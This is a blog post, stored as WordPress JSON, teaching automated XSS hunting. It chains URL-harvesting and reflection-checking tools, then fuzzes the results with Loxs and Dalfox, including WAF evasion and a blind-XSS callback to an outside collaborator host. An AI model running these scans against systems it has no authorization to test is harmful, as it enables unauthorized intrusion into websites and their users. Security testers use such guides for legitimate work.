{"id":1,"date":"2023-06-21T13:08:22","date_gmt":"2023-06-21T13:08:22","guid":{"rendered":"http:\/\/cybermonolog.com\/?p=1"},"modified":"2025-10-16T18:51:59","modified_gmt":"2025-10-16T18:51:59","slug":"hello-world","status":"publish","type":"post","link":"https:\/\/cybermonolog.com\/?p=1","title":{"rendered":"How to Find XSS Vulnerabilities in 2 Minutes"},"content":{"rendered":"\n<p>The first step is to gather all URLs for the target domain and filter out reflected and unfiltered special characters parameters using a single one-liner command that combines multiple tools.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>echo example.com | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt<\/code><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>GAU:<\/strong>\u00a0fetches old URLs from passive sources like WaybackURLs, AlienVault, Common Crawl and URLscan.<\/li>\n\n\n\n<li><strong>GF pattern:<\/strong>\u00a0filters for URLs with parameters often vulnerable to XSS<\/li>\n\n\n\n<li><strong>URO:<\/strong>\u00a0removes duplicate URLs so only unique entries remain.<\/li>\n\n\n\n<li><strong>Gxss:<\/strong>\u00a0checks for URLs with parameters which reflect in the response.<\/li>\n\n\n\n<li><strong>Kxss:<\/strong>\u00a0identifies URLs with unfiltered special characters useful for XSS execution<\/li>\n\n\n\n<li><strong>tee:<\/strong>\u00a0saves output to a file and displays it on the screen simultaneously.<\/li>\n<\/ul>\n\n\n\n<p>After running this command, you\u2019ll see all URLs with reflected parameters that contain unfiltered characters commonly used in XSS payloads.<br><\/p>\n\n\n\n<p>The following oneliner adds a content-type filter for HTML, XML, and SVG, removing images, JSON and other noise so your scans checks focus on endpoints where XSS or iframe\/HTML-injection payloads can execute.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo https:\/\/domain.com | gau | gf xss | httpx -ct -silent -nc | grep -i -E \"text\/html|application\/xhtml+xml|application\/xml|text\/xml|image\/svg+xml|application\/html|application\/xml\" | cut -d '&#91;' -f 1 | Gxss | kxss<\/code><\/pre>\n\n\n\n<p>After opening\u00a0<strong>xss_output.txt<\/strong>, you\u2019ll see the raw results, but they include some noisy entries. To improve this, run the command below.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat xss_output.txt | grep -oP '^URL: \\K\\S+' | sed 's\/=.*\/=\/' | sort -u > final.txt<\/code><\/pre>\n\n\n\n<p id=\"e77b\">What this command does: it grabs just the URLs, strips off the parameter values (so page.php?id=123 becomes page.php?id=), sorts everything, and removes duplicates. The tidy list ends up in final.txt.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>At this point you know the vulnerable urls. Do manual inspection or continue as below<\/p>\n<\/blockquote>\n\n\n\n<p id=\"a872\">Use the\u00a0<strong>Loxs<\/strong>\u00a0tool to automate the verification and reporting steps.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Move the final.txt file into your Loxs tool directory.<\/li>\n\n\n\n<li>Run the tool and select option 4 for XSS scanning.<\/li>\n\n\n\n<li>When prompted, provide the path to your target list (final.txt) and a file containing your desired XSS payloads.<\/li>\n<\/ol>\n\n\n\n<p>Now\u00a0<strong>Loxs<\/strong>\u00a0will go through each URL and test all payloads one by one. If it finds any XSS, it will print the confirmed vulnerable URL in the terminal. Copy any of those links into a browser to reproduce and confirm the XSS popup. Let the scan finish and it will generate a neat HTML report summarizing all findings.<\/p>\n\n\n\n<p>Checkout Loxs: <a href=\"https:\/\/github.com\/coffinxp\/loxs?source=post_page-----d14b63d000b1---------------------------------------\">https:\/\/github.com\/coffinxp\/loxs?source=post_page&#8212;&#8211;d14b63d000b1&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/a><\/p>\n\n\n\n<p id=\"7bdd\">Dalfox is another excellent XSS testing tool. flexible, fast and perfect for automation. Just pipe same output straight into Dalfox using the same one\u2011liner, and it will test payloads across thousands of endpoints. Below I\u2019ve included my favorite Dalfox piping commands.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code># 1) use remote payload lists\necho testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --remote-payloads=portswigger,payloadbox\n# \u2192 Pipes URLs into dalfox and fuzzes using remote lists (portswigger, payloadbox). Minimal noise, no auto-mining\/grepping.\n\n# 2) use local custom payloads\necho testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --custom-payload yourpayloads.txt\n# \u2192 Same as above but uses yourpayloads.txt from disk instead of remote lists.\n\n# 3) WAF evasion (adjusts speed when WAF detected)\necho testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --waf-evasion\n# \u2192 Enables WAF evasion; Dalfox will slow down (example behavior: worker=1, delay=3s) when it detects WAF-like responses to improve bypass chances while using default payloads.\n\n# 4) deep DOM XSS scanning\necho testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --deep-domxss\n# \u2192 Runs a deeper DOM-focused XSS analysis (more thorough client-side checks), while skipping other auto-mining.\n\n# 5) blind XSS callback\necho testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --blind xss.report\/c\/coffinxp\n# \u2192 Sends blind XSS payloads that call the provided collaborator URL so you can catch out\u2011of\u2011band callbacks.<\/code><\/pre>\n\n\n\n<p>Checkout Dalfox: <a href=\"https:\/\/github.com\/hahwul\/dalfox?source=post_page-----d14b63d000b1---------------------------------------\">https:\/\/github.com\/hahwul\/dalfox?source=post_page&#8212;&#8211;d14b63d000b1&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The first step is to gather all URLs for the target domain and filter out reflected and unfiltered special characters parameters using a single one-liner command that combines multiple tools. After running this command, you\u2019ll see all URLs with reflected parameters that contain unfiltered characters commonly used in XSS payloads. The following oneliner adds a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/posts\/1","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1"}],"version-history":[{"count":4,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/posts\/1\/revisions"}],"predecessor-version":[{"id":16,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=\/wp\/v2\/posts\/1\/revisions\/16"}],"wp:attachment":[{"href":"https:\/\/cybermonolog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybermonolog.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}